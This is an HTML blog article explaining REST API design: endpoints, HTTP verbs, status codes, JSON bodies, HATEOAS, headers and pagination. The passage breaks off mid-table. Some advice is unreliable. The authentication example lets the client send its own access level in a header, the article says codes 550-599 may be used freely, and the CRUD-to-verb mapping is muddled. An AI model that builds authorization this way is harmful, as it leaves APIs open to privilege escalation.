&lt;p&gt;When it comes to designing and implementing an (REST) API, you might be seeking a standard to follow (&lt;a href="http://jsonapi.org/"&gt;some people are trying to create a standard&lt;/a&gt;) or some &lt;a href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api"&gt;best practices&lt;/a&gt; to apply. You might also wonder which language and which framework to use (don't &lt;a href="https://en.wikipedia.org/wiki/Reinventing_the_wheel"&gt;reinvent the wheel&lt;/a&gt; dude!). Actually, there are plenty of them. From the "&lt;em&gt;do it from scratch in Java&lt;/em&gt;" to the "&lt;em&gt;use this all-in-one Javascript framework&lt;/em&gt;", you have a lot of choices.&lt;/p&gt;
&lt;p&gt;I've experienced real API development with two languages so far, &lt;strong&gt;Javascript&lt;/strong&gt; and &lt;strong&gt;Scala&lt;/strong&gt;. With the former, I used the well-known &lt;a href="http://expressjs.com/"&gt;Express framework&lt;/a&gt;. With the latter, I used the equally well known &lt;a href="https://www.playframework.com/"&gt;Play Framework&lt;/a&gt; in its version 2.&lt;br&gt;
I also used &lt;a href="https://github.com/rpellerin/php-mvc-base"&gt;PHP&lt;/a&gt; and Java without any framework.&lt;/p&gt;
&lt;p&gt;But that's not our purpose in this article. Let's move on to the big question, "&lt;em&gt;How to design an efficient REST API&lt;/em&gt;". Then, we'll have a quick look at &lt;a href="http://expressjs.com/"&gt;Express&lt;/a&gt;, a famous Javascript framework and one of the best for APIs, in my opinion.&lt;/p&gt;
&lt;p&gt;In this article, I'll try to follow what &lt;a href="http://martinfowler.com/articles/richardsonMaturityModel.html"&gt;someone once wrote beautifully&lt;/a&gt;, in order to introduce REST APIs, and gradually explain how to improve them. I assume you - the reader - have some knowledge of the HTTP protocol.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.ssllabs.com/"&gt;It goes without saying that you &lt;strong&gt;must use HTTPS&lt;/strong&gt; to ensure privacy. This way, everything will be encrypted and anyone sniffing the network won't be able to see the content of your requests or responses.&lt;/a&gt; Let's dive into REST APIs now!&lt;/p&gt;
&lt;h1 id="you-said-rest"&gt;You said "&lt;em&gt;REST&lt;/em&gt;"?&lt;/h1&gt;
&lt;p&gt;In "&lt;em&gt;REST API&lt;/em&gt;", "&lt;em&gt;REST&lt;/em&gt;" stands for "&lt;em&gt;Representational State Transfer&lt;/em&gt;", which is the software architectural style of the web. Basically, this means that any REST API relies on the HTTP protocol (and by extension HTTPS). As a consequence, the first step is to understand all the strengths and weaknesses of HTTP in order to use everything it has to offer. I will only be referring to HTTP version 1.1 in this article, since version 2 is still hardly used overall, and quite badly supported.&lt;/p&gt;
&lt;h1 id="its-all-about-resources"&gt;It's all about resources&lt;/h1&gt;
&lt;p&gt;URLs (&lt;em&gt;Uniform Resource Locator&lt;/em&gt;) represent resources. When designing an API, think about it as resource containers. Every end-point should represent either &lt;strong&gt;a resource&lt;/strong&gt; or &lt;strong&gt;a list of resources&lt;/strong&gt;. Following this, there must be &lt;strong&gt;two-end points per resource&lt;/strong&gt;, the resource collection, and an individual resource within the collection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/myresource
/myresource/{id}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If our API is hosted at &lt;a href="https://my-api.com"&gt;https://my-api.com&lt;/a&gt;, then we've just created the end-points &lt;a href="https://my-api.com/myresource"&gt;https://my-api.com/myresource&lt;/a&gt; and &lt;a href="https://my-api.com/myresource/id"&gt;https://my-api.com/myresource/{id}&lt;/a&gt;. But let's try to avoid abstraction and use real examples.&lt;/p&gt;
&lt;p&gt;We are developing a website where registered users can upload pictures. So, we need two end-points for our two entities:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/users
/pictures
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Those two end-points will then allow us to get the list of either all the users, or all the pictures. Now, what if we want to know the categories of the pictures? We also need to access individual resources. Let's create other end-points:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/users/{id}
/pictures/{id}
/pictures/categories
/pictures/categories/{id}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The important thing here, is to understand that &lt;code&gt;{id}&lt;/code&gt; is a resource's unique identifier. For users, we retrieved these unique identifiers thanks to the &lt;code&gt;/users&lt;/code&gt; end-point (which had given us the list of users). So, &lt;code&gt;/users/{id}&lt;/code&gt; will give us all the details about ONE resource, the targeted user. The same rule applies for any other collection of resources.&lt;/p&gt;
&lt;p&gt;Also, &lt;code&gt;/pictures/categories&lt;/code&gt; represent a list of resources, in our case a list of categories. But this list belongs to a "bigger" resource, a container, &lt;code&gt;/pictures&lt;/code&gt;. It's a &lt;strong&gt;hierarchy&lt;/strong&gt;. This way, we are going to get all the possible categories for any picture.&lt;/p&gt;
&lt;p&gt;Now, let's add a feature: users can send messages to each other. How do we get all the messages sent by a specific user? And a specific message sent by a specific user? Like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/users/{userId}/messages
/users/{userId}/messages/{messageId}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="naming-convention"&gt;Naming convention&lt;/h2&gt;
&lt;p&gt;To remain consistent, try to use the plural form of every word used for your end-points, it will make things easier. &lt;a href="https://en.wikipedia.org/wiki/CamelCase"&gt;&lt;em&gt;camelCase&lt;/em&gt;&lt;/a&gt; is also a good practice, when necessary (but we always try to use simple single words).&lt;/p&gt;
&lt;h1 id="methods-also-called-verbs"&gt;Methods (also called verbs)&lt;/h1&gt;
&lt;p&gt;One of the biggest strengths of HTTP is &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html"&gt;its verbs&lt;/a&gt;. The most popular are GET and POST. The latter is mostly used for asynchronous calls (AJAX) or forms in web pages, whereas the former is used every time a page is accessed or reloaded from a browser.&lt;/p&gt;
&lt;p&gt;So, what are the equivalent verbs for our old friend called &lt;em&gt;CRUD&lt;/em&gt; (Create, Read, Update and Delete)? &lt;strong&gt;PUT&lt;/strong&gt;, &lt;strong&gt;GET&lt;/strong&gt;, &lt;strong&gt;POST&lt;/strong&gt; and &lt;strong&gt;DELETE&lt;/strong&gt;. Consequently, any well designed REST API must make use of at least these four verbs. And yes, HTTP has more &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html"&gt;than four verbs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For example, this is how to create, get, update and delete a specific user:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST   /users      &lt;span class="c1"&gt;# Create&lt;/span&gt;
PUT    /users/&lt;span class="o"&gt;{&lt;/span&gt;id&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;# Create&lt;/span&gt;
GET    /users/&lt;span class="o"&gt;{&lt;/span&gt;id&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;# Get&lt;/span&gt;
PUT    /users/&lt;span class="o"&gt;{&lt;/span&gt;id&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;# Update&lt;/span&gt;
DELETE /users/&lt;span class="o"&gt;{&lt;/span&gt;id&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;# Delete&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, the important thing is that &lt;code&gt;PUT&lt;/code&gt; is used to create a &lt;strong&gt;specific resource&lt;/strong&gt; (a user), whose identifier has been chosen by the client. Then, the second &lt;code&gt;PUT&lt;/code&gt; updates the newly created resource. &lt;strong&gt;&lt;code&gt;POST&lt;/code&gt; is only dedicated to creating resources&lt;/strong&gt;, unlike &lt;code&gt;PUT&lt;/code&gt; that will mostly be used to update, but can also be used to create. When you want to create a resource without specifying its identifier, use &lt;code&gt;POST&lt;/code&gt;, like in the first line, where a user is signing up (then the API will create an identifier for this user). Logging in would be achieved like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST /users/login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.restapitutorial.com/"&gt;More information about verbs&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="understanding-http"&gt;Understanding HTTP&lt;/h1&gt;
&lt;p&gt;At this point, I need to add some explanation about the HTTP protocol. Every HTTP transaction (request or response) is made of three main parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An initial line&lt;/li&gt;
&lt;li&gt;Some headers&lt;/li&gt;
&lt;li&gt;The body, separated from the headers by a blank line&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For requests, the initial line is made of a verb, a URL and the HTTP version used. For instance:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the other hand, for responses, it's a bit different: the HTTP version, a response status code and an English reason phrase describing the status code, like in the following example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 404 Not Found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A typical simple request would look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST /users/123 HTTP/1.1
Host: my-api.com
Content-Type: application/x-www-form-urlencoded

name=Jon&amp;amp;lastName=Snow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And a (non-related) response (I chose a random header):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 200 OK
Expires: Thu, 24 Sep 2015 19:36:25 GMT

Hello world
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That said, let’s get back to APIs.&lt;/p&gt;
&lt;p&gt;In the previous sections we learned the correct use of the HTTP verbs, so now let's talk about the body and the status code. Headers will come later.&lt;/p&gt;
&lt;h1 id="transmitting-data"&gt;Transmitting data&lt;/h1&gt;
&lt;p&gt;How can a client update a user on the server? What if someone wants to update their biography for example? Or wants to mention their age? Likewise, how does the server respond and send data back to clients? Here come the status codes and the body.&lt;/p&gt;
&lt;p&gt;Basically, clients need to send &lt;strong&gt;one type of information&lt;/strong&gt; in the body: data to be put into the remote database, via a &lt;strong&gt;PUT&lt;/strong&gt; or &lt;strong&gt;POST&lt;/strong&gt; request. It can be either to create a new resource or to update it (it depends on the HTTP verb used).&lt;/p&gt;
&lt;p&gt;On the other hand, the server can send different types of information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Via the status code:&lt;/li&gt;
&lt;li&gt;How the request was handled&lt;/li&gt;
&lt;li&gt;In headers:&lt;/li&gt;
&lt;li&gt;Metadata&lt;/li&gt;
&lt;li&gt;In the body:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A resource&lt;/strong&gt; or &lt;strong&gt;a list of resources&lt;/strong&gt;, in response to a &lt;strong&gt;GET&lt;/strong&gt; request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Some details about a resource&lt;/strong&gt; newly created, in response to a &lt;strong&gt;PUT&lt;/strong&gt; or &lt;strong&gt;POST&lt;/strong&gt; request. For example, the resource's unique identifier or URL, to access this resource.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see, the body is only dedicated to the requested resources(s). That's all. All other useful information &lt;strong&gt;must&lt;/strong&gt; be transmitted via the HTTP status code or headers.&lt;/p&gt;
&lt;h2 id="the-status-code"&gt;The status code&lt;/h2&gt;
&lt;p&gt;Want to tell the client the resource has been created? Use the code 201. Want to say something went wrong? 500. Forbidden? 403. Resource not found? 404. &lt;a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes"&gt;Choose the right one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are the most used status codes for an API:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Status code&lt;/th&gt;
&lt;th&gt;Used in response to&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;200 OK&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;201 Created&lt;/td&gt;
&lt;td&gt;PUT (when creating a resource), POST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;202 Accepted&lt;/td&gt;
&lt;td&gt;PUT, POST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;204 No Content&lt;/td&gt;
&lt;td&gt;PUT, DELETE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;301 Moved Permanently&lt;/td&gt;
&lt;td&gt;GET, PUT, POST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400 Bad request&lt;/td&gt;
&lt;td&gt;Any&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;401 Unauthorized&lt;/td&gt;
&lt;td&gt;Any&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;403 Forbidden&lt;/td&gt;
&lt;td&gt;Any&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;404 Not Found&lt;/td&gt;
&lt;td&gt;GET, PUT (when updating), DELETE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500 Internal Server Error&lt;/td&gt;
&lt;td&gt;Any&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The HTTP protocol is very flexible, allowing us to use any non existing code if needed and relevant, when none of them fits our needs. For example, the range 550-599 can be used freely, the way you want.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://i.stack.imgur.com/whhD1.png"&gt;Need help in choosing the correct status code?&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="the-body"&gt;The body&lt;/h2&gt;
&lt;p&gt;Sending parameters, from HTML forms, is pretty easy, it's a key-value thing, where parameters are separated by "&amp;amp;", like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;firstName=Jon&amp;amp;lastName=Snow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, there's no recommended convention. I used camelCase (as shown above) without any particular reason. Choose one and be consistent.&lt;/p&gt;
&lt;p&gt;However, out of the context of HTML forms, how to format the body? Well, one could say we could use the same key-value format, but actually, it's not a good idea. Let's see what options we have.&lt;/p&gt;
&lt;h3 id="a-historic-battle-xml-vs-json-or-soap-vs-rest"&gt;A historic battle: XML vs. JSON or SOAP vs. REST&lt;/h3&gt;
&lt;p&gt;You have two main options: XML or JSON. Nowadays, a lot of people use JSON. I won't try to defend JSON here, please &lt;a href="http://www.json.org/xml.html"&gt;read this comparison&lt;/a&gt; or &lt;a href="http://www.json.org/"&gt;the official description&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To briefly sum it up, JSON brings efficiency, lightness and high-readability in a single format. Additionally, it's extremely easy to parse with any language, thanks to a great integration and a lot of support. It’s definitely the most popular format when dealing with APIs. You can easily create a single object or an array of objects.&lt;/p&gt;
&lt;p&gt;Just keep in mind that JSON is probably your best ally.&lt;/p&gt;
&lt;h2 id="a-particular-header"&gt;A particular header&lt;/h2&gt;
&lt;p&gt;Earlier on, we saw that the second part of every HTTP request is the headers section. Let me introduce one of them, probably the most important one: &lt;code&gt;Content-Type&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Its only purpose is to specify what kind of data we are sending. Consequently, in our case, this header should be like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Basically, its value is just a &lt;a href="https://en.wikipedia.org/wiki/Media_type"&gt;MIME type&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="real-world-example"&gt;Real world example&lt;/h1&gt;
&lt;p&gt;A &lt;strong&gt;POST&lt;/strong&gt; request sent by the client:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST /users HTTP/1.1
Host: my-api.com
Content-Type: application/json

{
    &amp;quot;name&amp;quot;: &amp;quot;Jon Snow&amp;quot;,
    &amp;quot;bad_guys_killed&amp;quot;: 200,
    &amp;quot;skills&amp;quot;:
        [
            {&amp;quot;name&amp;quot;: &amp;quot;Warrior&amp;quot;},
            {&amp;quot;name&amp;quot;: &amp;quot;Member of the Night&amp;#39;s Watch&amp;quot;}
        ],
    &amp;quot;is_a_badass&amp;quot;: true
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Basically, its value is just a MIME type. To such a request, the response the server would send back:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 201 Created
Content-Type: application/json

{
    &amp;quot;id&amp;quot;: 123
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can see that the server created the resource (thanks to the status code). It also gives us its ID, JSON-formatted. Then, we can do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users/123 HTTP/1.1
Host: my-api.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We would get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: application/json

{
    &amp;quot;id&amp;quot;: 123,
    &amp;quot;name&amp;quot;: &amp;quot;Jon Snow&amp;quot;,
    &amp;quot;bad_guys_killed&amp;quot;: 200,
    &amp;quot;skills&amp;quot;:
        [
            {&amp;quot;name&amp;quot;: &amp;quot;Warrior&amp;quot;},
            {&amp;quot;name&amp;quot;: &amp;quot;Member of the Night&amp;#39;s Watch&amp;quot;}
        ],
    &amp;quot;is_a_badass&amp;quot;: true,
    &amp;quot;created_at&amp;quot;: &amp;quot;2015-09-02T17:05:22.996Z&amp;quot;,
    &amp;quot;updated_at&amp;quot;: &amp;quot;2015-09-02T17:05:22.996Z&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;p&gt;At this point, our API is able to do the four basic operations we needed (&lt;a href="https://en.wikipedia.org/wiki/Create,_read,_update_and_delete"&gt;CRUD&lt;/a&gt;, remember?), on any kind of entity, easily, thanks to a pretty format, JSON. End-points are semantic and hierarchically ordered. Everything is perfect.&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="https://romainpellerin.eu/images/api-unicorn.gif" alt="A gif showing a unicorn" style="width: 150px; height: auto" /&gt;
&lt;/div&gt;

&lt;p&gt;But... (there's always a &lt;em&gt;but&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;We don't take advantage of all the strengths of HTTP. Headers, you remember? And what if we want to apply some filters to our &lt;strong&gt;GET&lt;/strong&gt; requests? Sorting? What about pagination? Getting your 1M users in a single response body isn't a good idea, trust me.&lt;/p&gt;
&lt;p&gt;More importantly, what about security? Authentication? But first, let's talk about HATEOAS...&lt;/p&gt;
&lt;h1 id="hateoas-the-holy-grail"&gt;&lt;a href="http://putaindecode.fr/posts/api/hateoas/"&gt;HATEOAS, the Holy Grail&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Most of the time, to access a specific resource, you need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get the list of resources, e.g. &lt;code&gt;GET /users&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Find the unique identifier of the targeted resource in this list&lt;/li&gt;
&lt;li&gt;Construct its URL, often https://&amp;lt;domain&amp;gt;/&amp;lt;list-of-resources&amp;gt;/&amp;lt;id&amp;gt;, e.g. &lt;code&gt;https://my-api.com/users/123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Finally, do &lt;code&gt;GET /users/123&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Another approach would be providing directly every resource's URL in the list (among other links if necessary), like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[
    {
        &amp;quot;id&amp;quot;: 123,
        name: &amp;quot;Jon Snow&amp;quot;,
        &amp;quot;links&amp;quot;:
            [
                {
                    &amp;quot;rel&amp;quot;: &amp;quot;self&amp;quot;,
                    &amp;quot;href&amp;quot;: &amp;quot;https://my-api.com/users/123&amp;quot;
                },
                {
                    &amp;quot;ref&amp;quot;: &amp;quot;list&amp;quot;,
                    &amp;quot;href&amp;quot;: &amp;quot;https://my-api.com/users&amp;quot;
                }
            ],
        &amp;quot;bad_guys_killed&amp;quot;: 200,
        ...
    },
    {
        &amp;quot;id&amp;quot;: 124,
        ...
    }
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Instead of providing the full URL, you might as well only provide the path name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;quot;links&amp;quot;:
    [
        {
            &amp;quot;rel&amp;quot;: &amp;quot;self&amp;quot;,
            &amp;quot;href&amp;quot;: &amp;quot;/users/123&amp;quot;
        },
        ...
    ]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I'm not a huge fan of HATEOAS. I believe that an API should be consistent in its manner of accessing resources. I like to assume that, as soon as I know a resource's unique identifier, I can access it by constructing its URL, as I explained above. So, I don't need the links, I can construct them by myself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But I'm wrong&lt;/strong&gt;. This is definitely the best way to do. It adds a layer of abstraction. If one day you change the way to access a resource (not with a unique identifier anymore, but with a token, or an email address, or anything), if you always provided the link for each resource, the change would be transparent for your users.&lt;/p&gt;
&lt;h1 id="headers-are-metadata"&gt;Headers are metadata&lt;/h1&gt;
&lt;p&gt;A great thing to consider is that the body &lt;strong&gt;must&lt;/strong&gt; only contain the requested resource(s). Any other piece of information must go to the headers. Furthermore, you can create any header you want.&lt;/p&gt;
&lt;h2 id="authentication"&gt;Authentication&lt;/h2&gt;
&lt;p&gt;There are two major concepts under the name of &lt;em&gt;authentication&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sign up/Log in/Log out: &lt;strong&gt;user management&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Authorization: &lt;strong&gt;restricting the access to the API&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;User management can be be achieved with cookies. This way, you can restrict some end-points to logged in users only.&lt;/p&gt;
&lt;p&gt;In parallel, you might want to restrict the entire API to specific clients. One could say "&lt;em&gt;Use basic authentication&lt;/em&gt;", but that doesn't really fit our need since it's not the original purpose of basic auth.&lt;/p&gt;
&lt;p&gt;What you can do instead is quite easy: create as many HTTP headers as you want and send (secret) keys on every request. For example, let's create a key to make sure we're accessing the right app, and another one to define the access level granted:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST /users HTTP/1.1
Host: my-api.com
Content-Type: application/json
Security-APP-ID: 123456
Security-Access-Level: 3

{
    &amp;quot;name&amp;quot;: &amp;quot;Jon Snow&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Obviously, as I said in the beginning of this article, all of this doesn't make sense at all if you don't use HTTPS (and force it!). You really don't want to expose such keys to anyone on the network.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://restcookbook.com/Basics/loggingin/"&gt;More information about authentication&lt;/a&gt; and about &lt;a href="http://blog.slaks.net/2015-10-13/web-authentication-arms-race-a-tale-of-two-security-experts/"&gt;security in general&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="location"&gt;Location&lt;/h2&gt;
&lt;p&gt;Another useful header is &lt;code&gt;Location&lt;/code&gt;. A good practice is to use it after creating a resource with &lt;strong&gt;POST&lt;/strong&gt;, to give back the location of the resource newly created. This way, no body is needed and your API can respond with a status code &lt;em&gt;201 Created&lt;/em&gt;, without a body. For example, after creating the user &lt;em&gt;Jon Snow&lt;/em&gt;, we would get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 201 Created
Location: https://my-api.com/users/123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The protocol and domain are optional, we could just send &lt;code&gt;/users/123&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="other-useful-piece-of-information"&gt;Other useful piece of information&lt;/h2&gt;
&lt;p&gt;Basically, you can create as many custom headers as you want. A good practice with end-points returning a list of resources, is to give the total number of records in the database when relevant, via a header. You may wonder why, since we can programmatically count the number of results. But, as I will explain it in the next section, you are never going to return the full list of results in a single response.&lt;/p&gt;
&lt;p&gt;So, this is an example of a header specifying the number of rows. The request:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users HTTP/1.1
Host: my-api.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The response:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: application/json
Total-Rows: 7897

[
    {
        id: 1,
        ...
    },
    ...
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="pagination"&gt;Pagination&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;When returning a list of resources&lt;/strong&gt;, above a certain number or results, you should split your response in pages. It's a good practice for reducing waiting time and the weight of responses. Moreover, you might not need the whole list at once. Depending on the amount of details provided for each resource, a general rule would be returning between 100 and 1000 results per request as a maximum.&lt;/p&gt;
&lt;p&gt;Requesting a page is as simple as providing a query parameter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GET /users?page=3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the server side, you would just skip the &lt;em&gt;&amp;lt;number-of-results-per-page&amp;gt;*&amp;lt;number-of-page&amp;gt;&lt;/em&gt; first users. Pages start at 0.&lt;/p&gt;
&lt;p&gt;For instance, if you return 100 users per request, with page 0 you would skip no one and simply returns the first 100 users (from 0 to 99). On page 1, you skip the first 100 users from your database and return the users from 100 to 199, and so on.&lt;/p&gt;
&lt;p&gt;But there's a problem...&lt;/p&gt;
&lt;p&gt;Let's say you have 10 users in your database. Every &lt;code&gt;GET /users&lt;/code&gt; returns 3 users at most, sorted by age.&lt;/p&gt;
&lt;p&gt;In SQL, this would be something like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ORDER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AGE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIMIT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFFSET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="cm"&gt;/* where x equals 3*&amp;lt;number of page&amp;gt; */&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You'll then have 3 pages.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Page 0&lt;/th&gt;
&lt;th&gt;Page 1&lt;/th&gt;
&lt;th&gt;Page 2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
